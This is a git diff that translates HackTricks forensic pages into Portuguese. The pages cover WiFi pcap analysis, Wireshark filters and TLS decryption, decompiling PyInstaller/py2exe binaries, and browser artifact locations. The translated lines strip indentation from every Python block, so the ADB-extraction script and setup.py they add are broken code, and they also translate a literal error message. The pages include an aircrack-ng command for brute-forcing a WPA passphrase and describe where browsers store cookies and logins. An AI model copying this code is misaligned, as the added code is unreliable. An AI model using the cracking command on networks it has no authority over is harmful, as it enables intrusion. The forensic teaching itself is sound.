diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md
index f1371d5fa..2b4312504 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md
@@ -1,40 +1,38 @@
-# Wifi Pcap Analysis
+# Análise de Pcap Wifi
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Check BSSIDs
+## Verificar BSSIDs
 
-When you receive a capture whose principal traffic is Wifi using WireShark you can start investigating all the SSIDs of the capture with _Wireless --> WLAN Traffic_:
+Quando você recebe uma captura cujo tráfego principal é Wifi usando o WireShark, você pode começar a investigar todos os SSIDs da captura com _Wireless --> WLAN Traffic_:
 
 ![](<../../../images/image (106).png>)
 
 ![](<../../../images/image (492).png>)
 
-### Brute Force
-
-One of the columns of that screen indicates if **any authentication was found inside the pcap**. If that is the case you can try to Brute force it using `aircrack-ng`:
+### Força Bruta
 
+Uma das colunas daquela tela indica se **qualquer autenticação foi encontrada dentro do pcap**. Se esse for o caso, você pode tentar forçar a autenticação usando `aircrack-ng`:
 ```bash
 aircrack-ng -w pwds-file.txt -b  file.pcap
 ```
+Por exemplo, ele irá recuperar a senha WPA que protege um PSK (chave pré-compartilhada), que será necessária para descriptografar o tráfego mais tarde.
 
-For example it will retrieve the WPA passphrase protecting a PSK (pre shared-key), that will be required to decrypt the trafic later.
+## Dados em Beacons / Canal Lateral
 
-## Data in Beacons / Side Channel
+Se você suspeitar que **dados estão sendo vazados dentro dos beacons de uma rede Wifi**, você pode verificar os beacons da rede usando um filtro como o seguinte: `wlan contains `, ou `wlan.ssid == "NAMEofNETWORK"` para procurar dentro dos pacotes filtrados por strings suspeitas.
 
-If you suspect that **data is being leaked inside beacons of a Wifi network** you can check the beacons of the network using a filter like the following one: `wlan contains `, or `wlan.ssid == "NAMEofNETWORK"` search inside the filtered packets for suspicious strings.
+## Encontrar Endereços MAC Desconhecidos em uma Rede Wifi
 
-## Find Unknown MAC Addresses in A Wifi Network
-
-The following link will be useful to find the **machines sending data inside a Wifi Network**:
+O seguinte link será útil para encontrar as **máquinas enviando dados dentro de uma Rede Wifi**:
 
 - `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2`
 
-If you already know **MAC addresses you can remove them from the output** adding checks like this one: `&& !(wlan.addr==5c:51:88:31:a0:3b)`
+Se você já conhece **endereços MAC, pode removê-los da saída** adicionando verificações como esta: `&& !(wlan.addr==5c:51:88:31:a0:3b)`
 
-Once you have detected **unknown MAC** addresses communicating inside the network you can use **filters** like the following one: `wlan.addr== && (ftp || http || ssh || telnet)` to filter its traffic. Note that ftp/http/ssh/telnet filters are useful if you have decrypted the traffic.
+Uma vez que você tenha detectado **endereços MAC desconhecidos** se comunicando dentro da rede, você pode usar **filtros** como o seguinte: `wlan.addr== && (ftp || http || ssh || telnet)` para filtrar seu tráfego. Note que os filtros ftp/http/ssh/telnet são úteis se você tiver descriptografado o tráfego.
 
-## Decrypt Traffic
+## Descriptografar Tráfego
 
 Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit
 
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md
index 6565bd680..15973ebc0 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md
@@ -1,157 +1,155 @@
-# Wireshark tricks
+# Truques do Wireshark
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Improve your Wireshark skills
+## Melhore suas habilidades no Wireshark
 
-### Tutorials
+### Tutoriais
 
-The following tutorials are amazing to learn some cool basic tricks:
+Os seguintes tutoriais são incríveis para aprender alguns truques básicos legais:
 
 - [https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/](https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/)
 - [https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/](https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/)
 - [https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/](https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/)
 - [https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/](https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/)
 
-### Analysed Information
+### Informações Analisadas
 
-**Expert Information**
+**Informações de Especialista**
 
-Clicking on _**Analyze** --> **Expert Information**_ you will have an **overview** of what is happening in the packets **analyzed**:
+Clicando em _**Analisar** --> **Informações de Especialista**_ você terá uma **visão geral** do que está acontecendo nos pacotes **analisados**:
 
 ![](<../../../images/image (256).png>)
 
-**Resolved Addresses**
+**Endereços Resolvidos**
 
-Under _**Statistics --> Resolved Addresses**_ you can find several **information** that was "**resolved**" by wireshark like port/transport to protocol, MAC to the manufacturer, etc. It is interesting to know what is implicated in the communication.
+Em _**Estatísticas --> Endereços Resolvidos**_ você pode encontrar várias **informações** que foram "**resolvidas**" pelo wireshark, como porta/transporte para protocolo, MAC para o fabricante, etc. É interessante saber o que está implicado na comunicação.
 
 ![](<../../../images/image (893).png>)
 
-**Protocol Hierarchy**
+**Hierarquia de Protocolos**
 
-Under _**Statistics --> Protocol Hierarchy**_ you can find the **protocols** **involved** in the communication and data about them.
+Em _**Estatísticas --> Hierarquia de Protocolos**_ você pode encontrar os **protocolos** **envolvidos** na comunicação e dados sobre eles.
 
 ![](<../../../images/image (586).png>)
 
-**Conversations**
+**Conversas**
 
-Under _**Statistics --> Conversations**_ you can find a **summary of the conversations** in the communication and data about them.
+Em _**Estatísticas --> Conversas**_ você pode encontrar um **resumo das conversas** na comunicação e dados sobre elas.
 
 ![](<../../../images/image (453).png>)
 
-**Endpoints**
+**Pontos Finais**
 
-Under _**Statistics --> Endpoints**_ you can find a **summary of the endpoints** in the communication and data about each of them.
+Em _**Estatísticas --> Pontos Finais**_ você pode encontrar um **resumo dos pontos finais** na comunicação e dados sobre cada um deles.
 
 ![](<../../../images/image (896).png>)
 
-**DNS info**
+**Informações DNS**
 
-Under _**Statistics --> DNS**_ you can find statistics about the DNS request captured.
+Em _**Estatísticas --> DNS**_ você pode encontrar estatísticas sobre a solicitação DNS capturada.
 
 ![](<../../../images/image (1063).png>)
 
-**I/O Graph**
+**Gráfico I/O**
 
-Under _**Statistics --> I/O Graph**_ you can find a **graph of the communication.**
+Em _**Estatísticas --> Gráfico I/O**_ você pode encontrar um **gráfico da comunicação.**
 
 ![](<../../../images/image (992).png>)
 
-### Filters
+### Filtros
 
-Here you can find wireshark filter depending on the protocol: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\
-Other interesting filters:
+Aqui você pode encontrar filtros do wireshark dependendo do protocolo: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\
+Outros filtros interessantes:
 
 - `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)`
-  - HTTP and initial HTTPS traffic
+- Tráfego HTTP e HTTPS inicial
 - `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002) and !(udp.port eq 1900)`
-  - HTTP and initial HTTPS traffic + TCP SYN
+- Tráfego HTTP e HTTPS inicial + TCP SYN
 - `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)`
-  - HTTP and initial HTTPS traffic + TCP SYN + DNS requests
+- Tráfego HTTP e HTTPS inicial + TCP SYN + solicitações DNS
 
-### Search
+### Pesquisa
 
-If you want to **search** for **content** inside the **packets** of the sessions press _CTRL+f_. You can add new layers to the main information bar (No., Time, Source, etc.) by pressing the right button and then the edit column.
+Se você quiser **pesquisar** por **conteúdo** dentro dos **pacotes** das sessões, pressione _CTRL+f_. Você pode adicionar novas camadas à barra de informações principal (No., Hora, Origem, etc.) pressionando o botão direito e depois a opção de editar coluna.
 
-### Free pcap labs
+### Laboratórios pcap gratuitos
 
-**Practice with the free challenges of:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net)
+**Pratique com os desafios gratuitos de:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net)
 
-## Identifying Domains
+## Identificando Domínios
 
-You can add a column that shows the Host HTTP header:
+Você pode adicionar uma coluna que mostra o cabeçalho Host HTTP:
 
 ![](<../../../images/image (639).png>)
 
-And a column that add the Server name from an initiating HTTPS connection (**ssl.handshake.type == 1**):
+E uma coluna que adiciona o nome do Servidor de uma conexão HTTPS iniciada (**ssl.handshake.type == 1**):
 
 ![](<../../../images/image (408) (1).png>)
 
-## Identifying local hostnames
+## Identificando nomes de host locais
 
-### From DHCP
+### Do DHCP
 
-In current Wireshark instead of `bootp` you need to search for `DHCP`
+No Wireshark atual, em vez de `bootp`, você precisa procurar por `DHCP`
 
 ![](<../../../images/image (1013).png>)
 
-### From NBNS
+### Do NBNS
 
 ![](<../../../images/image (1003).png>)
 
-## Decrypting TLS
+## Descriptografando TLS
 
-### Decrypting https traffic with server private key
+### Descriptografando tráfego https com a chave privada do servidor
 
 _edit>preference>protocol>ssl>_
 
 ![](<../../../images/image (1103).png>)
 
-Press _Edit_ and add all the data of the server and the private key (_IP, Port, Protocol, Key file and password_)
+Pressione _Editar_ e adicione todos os dados do servidor e a chave privada (_IP, Porta, Protocolo, Arquivo de chave e senha_)
 
-### Decrypting https traffic with symmetric session keys
+### Descriptografando tráfego https com chaves de sessão simétricas
 
-Both Firefox and Chrome have the capability to log TLS session keys, which can be used with Wireshark to decrypt TLS traffic. This allows for in-depth analysis of secure communications. More details on how to perform this decryption can be found in a guide at [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/).
+Tanto o Firefox quanto o Chrome têm a capacidade de registrar chaves de sessão TLS, que podem ser usadas com o Wireshark para descriptografar tráfego TLS. Isso permite uma análise aprofundada das comunicações seguras. Mais detalhes sobre como realizar essa descriptografia podem ser encontrados em um guia em [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/).
 
-To detect this search inside the environment for to variable `SSLKEYLOGFILE`
+Para detectar isso, procure dentro do ambiente pela variável `SSLKEYLOGFILE`
 
-A file of shared keys will look like this:
+Um arquivo de chaves compartilhadas terá a seguinte aparência:
 
 ![](<../../../images/image (820).png>)
 
-To import this in wireshark go to \_edit > preference > protocol > ssl > and import it in (Pre)-Master-Secret log filename:
+Para importar isso no wireshark, vá para \_editar > preferência > protocolo > ssl > e importe-o no nome do arquivo de log (Pre)-Master-Secret:
 
 ![](<../../../images/image (989).png>)
 
-## ADB communication
-
-Extract an APK from an ADB communication where the APK was sent:
+## Comunicação ADB
 
+Extraia um APK de uma comunicação ADB onde o APK foi enviado:
 ```python
 from scapy.all import *
 
 pcap = rdpcap("final2.pcapng")
 
 def rm_data(data):
-    splitted = data.split(b"DATA")
-    if len(splitted) == 1:
-        return data
-    else:
-        return splitted[0]+splitted[1][4:]
+splitted = data.split(b"DATA")
+if len(splitted) == 1:
+return data
+else:
+return splitted[0]+splitted[1][4:]
 
 all_bytes = b""
 for pkt in pcap:
-    if Raw in pkt:
-        a = pkt[Raw]
-        if b"WRTE" == bytes(a)[:4]:
-            all_bytes += rm_data(bytes(a)[24:])
-        else:
-            all_bytes += rm_data(bytes(a))
+if Raw in pkt:
+a = pkt[Raw]
+if b"WRTE" == bytes(a)[:4]:
+all_bytes += rm_data(bytes(a)[24:])
+else:
+all_bytes += rm_data(bytes(a))
 print(all_bytes)
 
 f = open('all_bytes.data', 'w+b')
 f.write(all_bytes)
 f.close()
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
index ec397e99a..e82b5b279 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
@@ -1,77 +1,61 @@
-# Decompile compiled python binaries (exe, elf) - Retreive from .pyc
+# Decompile binaries python compilados (exe, elf) - Recuperar de .pyc
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-

 
-**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
-
-{% embed url="https://go.intigriti.com/hacktricks" %}
-
-## From Compiled Binary to .pyc
-
-From an **ELF** compiled binary you can **get the .pyc** with:
+## De Binário Compilado para .pyc
 
+De um binário compilado **ELF** você pode **obter o .pyc** com:
 ```bash
 pyi-archive_viewer 
 # The list of python modules will be given here:
 [(0, 230, 311, 1, 'm', 'struct'),
- (230, 1061, 1792, 1, 'm', 'pyimod01_os_path'),
- (1291, 4071, 8907, 1, 'm', 'pyimod02_archive'),
- (5362, 5609, 13152, 1, 'm', 'pyimod03_importers'),
- (10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'),
- (12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'),
- (13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'),
- (13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'),
- (15090, 445, 672, 1, 's', 'pyi_rth_inspect'),
- (15535, 2514, 4421, 1, 's', 'binary_name'),
+(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'),
+(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'),
+(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'),
+(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'),
+(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'),
+(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'),
+(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'),
+(15090, 445, 672, 1, 's', 'pyi_rth_inspect'),
+(15535, 2514, 4421, 1, 's', 'binary_name'),
 ...
 
 ? X binary_name
 to filename? /tmp/binary.pyc
 ```
-
-In a **python exe binary** compiled you can **get the .pyc** by running:
-
+Em um **binário exe python** compilado, você pode **obter o .pyc** executando:
 ```bash
 python pyinstxtractor.py executable.exe
 ```
+## De .pyc para código python
 
-## From .pyc to python code
-
-For the **.pyc** data ("compiled" python) you should start trying to **extract** the **original** **python** **code**:
-
+Para os dados **.pyc** ("compilado" python), você deve começar tentando **extrair** o **código** **python** **original**:
 ```bash
 uncompyle6 binary.pyc  > decompiled.py
 ```
+**Certifique-se** de que o binário tem a **extensão** "**.pyc**" (se não, o uncompyle6 não vai funcionar)
 
-**Be sure** that the binary has the **extension** "**.pyc**" (if not, uncompyle6 is not going to work)
-
-While executing **uncompyle6** you might find the **following errors**:
-
-### Error: Unknown magic number 227
+Ao executar o **uncompyle6**, você pode encontrar os **seguintes erros**:
 
+### Erro: Número mágico desconhecido 227
 ```bash
 /kali/.local/bin/uncompyle6 /tmp/binary.pyc
 Unknown magic number 227 in /tmp/binary.pyc
 ```
+Para corrigir isso, você precisa **adicionar o número mágico correto** no início do arquivo gerado.
 
-To fix this you need to **add the correct magic number** at the beginning of the generated file.
-
-**Magic numbers vary with the python version**, to get the magic number of **python 3.8** you will need to **open a python 3.8** terminal and execute:
-
+**Os números mágicos variam com a versão do python**, para obter o número mágico do **python 3.8** você precisará **abrir um terminal python 3.8** e executar:
 ```
 >> import imp
 >> imp.get_magic().hex()
 '550d0d0a'
 ```
+O **número mágico** neste caso para python3.8 é **`0x550d0d0a`**, então, para corrigir esse erro, você precisará **adicionar** no **início** do **.pyc file** os seguintes bytes: `0x0d550a0d000000000000000000000000`
 
-The **magic number** in this case for python3.8 is **`0x550d0d0a`**, then, to fix this error you will need to **add** at the **beginning** of the **.pyc file** the following bytes: `0x0d550a0d000000000000000000000000`
-
-**Once** you have **added** that magic header, the **error should be fixed.**
-
-This is how a correctly added **.pyc python3.8 magic header** will look like:
+**Uma vez** que você tenha **adicionado** esse cabeçalho mágico, o **erro deve ser corrigido.**
 
+Assim é como um **cabeçalho mágico .pyc python3.8** corretamente adicionado ficará:
 ```bash
 hexdump 'binary.pyc' | head
 0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
@@ -79,25 +63,23 @@ hexdump 'binary.pyc' | head
 0000020 0700 0000 4000 0000 7300 0132 0000 0064
 0000030 0164 006c 005a 0064 0164 016c 015a 0064
 ```
+### Erro: Decompilando erros genéricos
 
-### Error: Decompiling generic errors
+**Outros erros** como: `class 'AssertionError'>; co_code deve ser um dos tipos (, , , ); é do tipo ` podem aparecer.
 
-**Other errors** like: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` may appear.
+Isso provavelmente significa que você **não adicionou corretamente** o número mágico ou que você **não usou** o **número mágico correto**, então **certifique-se de usar o correto** (ou tente um novo).
 
-This probably means that you **haven't added correctly** the magic number or that you haven't **used** the **correct magic number**, so make **sure you use the correct one** (or try a new one).
+Verifique a documentação de erros anterior.
 
-Check the previous error documentation.
+## Ferramenta Automática
 
-## Automatic Tool
+A [**ferramenta python-exe-unpacker**](https://github.com/countercept/python-exe-unpacker) serve como uma combinação de várias ferramentas disponíveis na comunidade projetadas para ajudar pesquisadores a desempacotar e decompilar executáveis escritos em Python, especificamente aqueles criados com py2exe e pyinstaller. Inclui regras YARA para identificar se um executável é baseado em Python e confirma a ferramenta de criação.
 
-The [**python-exe-unpacker tool**](https://github.com/countercept/python-exe-unpacker) serves as a combination of several community-available tools designed to assist researchers in unpacking and decompiling executables written in Python, specifically those created with py2exe and pyinstaller. It includes YARA rules to identify if an executable is Python-based and confirms the creation tool.
+### ImportError: Nome do arquivo: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' não existe
 
-### ImportError: File name: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' doesn't exist
-
-A common issue encountered involves an incomplete Python bytecode file resulting from the **unpacking process with unpy2exe or pyinstxtractor**, which then **fails to be recognized by uncompyle6 due to a missing Python bytecode version number**. To address this, a prepend option has been added, which appends the necessary Python bytecode version number, facilitating the decompiling process.
-
-Example of the issue:
+Um problema comum encontrado envolve um arquivo de bytecode Python incompleto resultante do **processo de desempacotamento com unpy2exe ou pyinstxtractor**, que então **não é reconhecido pelo uncompyle6 devido a um número de versão de bytecode Python ausente**. Para resolver isso, uma opção de prepend foi adicionada, que anexa o número de versão de bytecode Python necessário, facilitando o processo de decompilação.
 
+Exemplo do problema:
 ```python
 # Error when attempting to decompile without the prepend option
 test@test: uncompyle6 unpacked/malware_3.exe/archive.py
@@ -115,11 +97,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
 # Successfully decompiled file
 [+] Successfully decompiled.
 ```
+## Analisando a montagem do python
 
-## Analyzing python assembly
-
-If you weren't able to extract the python "original" code following the previous steps, then you can try to **extract** the **assembly** (but i**t isn't very descriptive**, so **try** to extract **again** the original code).In [here](https://bits.theorem.co/protecting-a-python-codebase/) I found a very simple code to **disassemble** the _.pyc_ binary (good luck understanding the code flow). If the _.pyc_ is from python2, use python2:
-
+Se você não conseguiu extrair o código "original" do python seguindo os passos anteriores, então você pode tentar **extrair** a **montagem** (mas **não é muito descritivo**, então **tente** extrair **novamente** o código original). Em [aqui](https://bits.theorem.co/protecting-a-python-codebase/) eu encontrei um código muito simples para **desmontar** o binário _.pyc_ (boa sorte entendendo o fluxo do código). Se o _.pyc_ for do python2, use python2:
 ```bash
 >>> import dis
 >>> import marshal
@@ -145,34 +125,32 @@ True
 >>>
 >>> # Disassemble the code object
 >>> dis.disassemble(code)
-  1           0 LOAD_CONST               0 ()
-              3 MAKE_FUNCTION            0
-              6 STORE_NAME               0 (hello_world)
-              9 LOAD_CONST               1 (None)
-             12 RETURN_VALUE
+1           0 LOAD_CONST               0 ()
+3 MAKE_FUNCTION            0
+6 STORE_NAME               0 (hello_world)
+9 LOAD_CONST               1 (None)
+12 RETURN_VALUE
 >>>
 >>> # Also disassemble that const being loaded (our function)
 >>> dis.disassemble(code.co_consts[0])
-  2           0 LOAD_CONST               1 ('Hello  {0}')
-              3 LOAD_ATTR                0 (format)
-              6 LOAD_FAST                0 (name)
-              9 CALL_FUNCTION            1
-             12 PRINT_ITEM
-             13 PRINT_NEWLINE
-             14 LOAD_CONST               0 (None)
-             17 RETURN_VALUE
+2           0 LOAD_CONST               1 ('Hello  {0}')
+3 LOAD_ATTR                0 (format)
+6 LOAD_FAST                0 (name)
+9 CALL_FUNCTION            1
+12 PRINT_ITEM
+13 PRINT_NEWLINE
+14 LOAD_CONST               0 (None)
+17 RETURN_VALUE
 ```
+## Python para Executável
 
-## Python to Executable
+Para começar, vamos mostrar como os payloads podem ser compilados em py2exe e PyInstaller.
 
-To start, we’re going to show you how payloads can be compiled in py2exe and PyInstaller.
-
-### To create a payload using py2exe:
-
-1. Install the py2exe package from [http://www.py2exe.org/](http://www.py2exe.org)
-2. For the payload (in this case, we will name it hello.py), use a script like the one in Figure 1. The option “bundle_files” with the value of 1 will bundle everything including the Python interpreter into one exe.
-3. Once the script is ready, we will issue the command “python setup.py py2exe”. This will create the executable, just like in Figure 2.
+### Para criar um payload usando py2exe:
 
+1. Instale o pacote py2exe de [http://www.py2exe.org/](http://www.py2exe.org)
+2. Para o payload (neste caso, vamos nomeá-lo hello.py), use um script como o da Figura 1. A opção “bundle_files” com o valor de 1 irá agrupar tudo, incluindo o interpretador Python, em um único exe.
+3. Uma vez que o script esteja pronto, emitiremos o comando “python setup.py py2exe”. Isso criará o executável, assim como na Figura 2.
 ```python
 from distutils.core import setup
 import py2exe, sys, os
@@ -180,10 +158,10 @@ import py2exe, sys, os
 sys.argv.append('py2exe')
 
 setup(
-    options = {'py2exe': {'bundle_files': 1}},
-    #windows = [{'script': "hello.py"}],
-  console = [{'script': "hello.py"}],
-    zipfile = None,
+options = {'py2exe': {'bundle_files': 1}},
+#windows = [{'script': "hello.py"}],
+console = [{'script': "hello.py"}],
+zipfile = None,
 )
 ```
 
@@ -200,12 +178,10 @@ running py2exe
 copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
 Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
 ```
+### Para criar um payload usando PyInstaller:
 
-### To create a payload using PyInstaller:
-
-1. Install PyInstaller using pip (pip install pyinstaller).
-2. After that, we will issue the command “pyinstaller –onefile hello.py” (a reminder that ‘hello.py’ is our payload). This will bundle everything into one executable.
-
+1. Instale o PyInstaller usando pip (pip install pyinstaller).
+2. Depois disso, emitiremos o comando “pyinstaller –onefile hello.py” (um lembrete de que ‘hello.py’ é nosso payload). Isso irá agrupar tudo em um único executável.
 ```
 C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
 108 INFO: PyInstaller: 3.3.1
@@ -218,15 +194,9 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
 5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe
 6325 INFO: Building EXE from out00-EXE.toc completed successfully.
 ```
-
-## References
+## Referências
 
 - [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
 
-

-
-**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
-
-{% embed url="https://go.intigriti.com/hacktricks" %}
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md
index 76fa3ef23..f4b4c7e9f 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md
@@ -1,6 +1,6 @@
 {{#include ../../../banners/hacktricks-training.md}}
 
-Here you can find interesting tricks for specific file-types and/or software:
+Aqui você pode encontrar truques interessantes para tipos de arquivos e/ou software específicos:
 
 {{#ref}}
 .pyc.md
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
index 104a7530f..93b822a47 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
@@ -1,139 +1,129 @@
-# Browser Artifacts
+# Artefatos do Navegador
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-

+## Artefatos do Navegador 
 
-\
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
+Os artefatos do navegador incluem vários tipos de dados armazenados pelos navegadores da web, como histórico de navegação, favoritos e dados de cache. Esses artefatos são mantidos em pastas específicas dentro do sistema operacional, variando em localização e nome entre os navegadores, mas geralmente armazenando tipos de dados semelhantes.
 
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %}
+Aqui está um resumo dos artefatos de navegador mais comuns:
 
-## Browsers Artifacts 
-
-Browser artifacts include various types of data stored by web browsers, such as navigation history, bookmarks, and cache data. These artifacts are kept in specific folders within the operating system, differing in location and name across browsers, yet generally storing similar data types.
-
-Here's a summary of the most common browser artifacts:
-
-- **Navigation History**: Tracks user visits to websites, useful for identifying visits to malicious sites.
-- **Autocomplete Data**: Suggestions based on frequent searches, offering insights when combined with navigation history.
-- **Bookmarks**: Sites saved by the user for quick access.
-- **Extensions and Add-ons**: Browser extensions or add-ons installed by the user.
-- **Cache**: Stores web content (e.g., images, JavaScript files) to improve website loading times, valuable for forensic analysis.
-- **Logins**: Stored login credentials.
-- **Favicons**: Icons associated with websites, appearing in tabs and bookmarks, useful for additional information on user visits.
-- **Browser Sessions**: Data related to open browser sessions.
-- **Downloads**: Records of files downloaded through the browser.
-- **Form Data**: Information entered in web forms, saved for future autofill suggestions.
-- **Thumbnails**: Preview images of websites.
-- **Custom Dictionary.txt**: Words added by the user to the browser's dictionary.
+- **Histórico de Navegação**: Rastreia as visitas do usuário a sites, útil para identificar visitas a sites maliciosos.
+- **Dados de Autocompletar**: Sugestões baseadas em pesquisas frequentes, oferecendo insights quando combinadas com o histórico de navegação.
+- **Favoritos**: Sites salvos pelo usuário para acesso rápido.
+- **Extensões e Complementos**: Extensões ou complementos do navegador instalados pelo usuário.
+- **Cache**: Armazena conteúdo da web (por exemplo, imagens, arquivos JavaScript) para melhorar os tempos de carregamento do site, valioso para análise forense.
+- **Logins**: Credenciais de login armazenadas.
+- **Favicons**: Ícones associados a sites, aparecendo em abas e favoritos, úteis para informações adicionais sobre as visitas do usuário.
+- **Sessões do Navegador**: Dados relacionados a sessões de navegador abertas.
+- **Downloads**: Registros de arquivos baixados através do navegador.
+- **Dados de Formulário**: Informações inseridas em formulários da web, salvas para sugestões de preenchimento automático futuras.
+- **Miniaturas**: Imagens de pré-visualização de sites.
+- **Custom Dictionary.txt**: Palavras adicionadas pelo usuário ao dicionário do navegador.
 
 ## Firefox
 
-Firefox organizes user data within profiles, stored in specific locations based on the operating system:
+O Firefox organiza os dados do usuário dentro de perfis, armazenados em locais específicos com base no sistema operacional:
 
 - **Linux**: `~/.mozilla/firefox/`
 - **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
 - **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
 
-A `profiles.ini` file within these directories lists the user profiles. Each profile's data is stored in a folder named in the `Path` variable within `profiles.ini`, located in the same directory as `profiles.ini` itself. If a profile's folder is missing, it may have been deleted.
+Um arquivo `profiles.ini` dentro desses diretórios lista os perfis de usuário. Os dados de cada perfil são armazenados em uma pasta nomeada na variável `Path` dentro de `profiles.ini`, localizada no mesmo diretório que o próprio `profiles.ini`. Se a pasta de um perfil estiver faltando, pode ter sido excluída.
 
-Within each profile folder, you can find several important files:
+Dentro de cada pasta de perfil, você pode encontrar vários arquivos importantes:
 
-- **places.sqlite**: Stores history, bookmarks, and downloads. Tools like [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) on Windows can access the history data.
-  - Use specific SQL queries to extract history and downloads information.
-- **bookmarkbackups**: Contains backups of bookmarks.
-- **formhistory.sqlite**: Stores web form data.
-- **handlers.json**: Manages protocol handlers.
-- **persdict.dat**: Custom dictionary words.
-- **addons.json** and **extensions.sqlite**: Information on installed add-ons and extensions.
-- **cookies.sqlite**: Cookie storage, with [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) available for inspection on Windows.
-- **cache2/entries** or **startupCache**: Cache data, accessible through tools like [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
-- **favicons.sqlite**: Stores favicons.
